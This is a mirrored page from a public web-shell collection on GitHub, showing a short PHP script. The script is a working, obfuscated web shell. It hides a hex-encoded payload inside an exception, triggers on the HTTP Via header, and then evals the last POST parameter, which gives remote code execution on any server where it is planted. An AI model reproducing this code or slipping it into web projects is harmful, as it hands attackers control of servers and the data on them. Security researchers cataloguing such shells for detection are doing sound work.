mirror of
https://github.com/tennc/webshell
synced 2024-11-22 11:13:03 +00:00
16 lines
292 B
PHP
16 lines
292 B
PHP
<?php
|
|
try{
|
|
$value = 'echo "hello~"';
|
|
apply();
|
|
}catch(Exception $e){
|
|
eval(pack('H*',$e->getMessage()));
|
|
}finally{
|
|
eval($value.';');
|
|
}
|
|
|
|
function apply(){
|
|
if(isset($_SERVER['HTTP_VIA'])){
|
|
throw new Exception('2476616c75653d656e6428245f504f5354293b');
|
|
}
|
|
return false;
|
|
}
|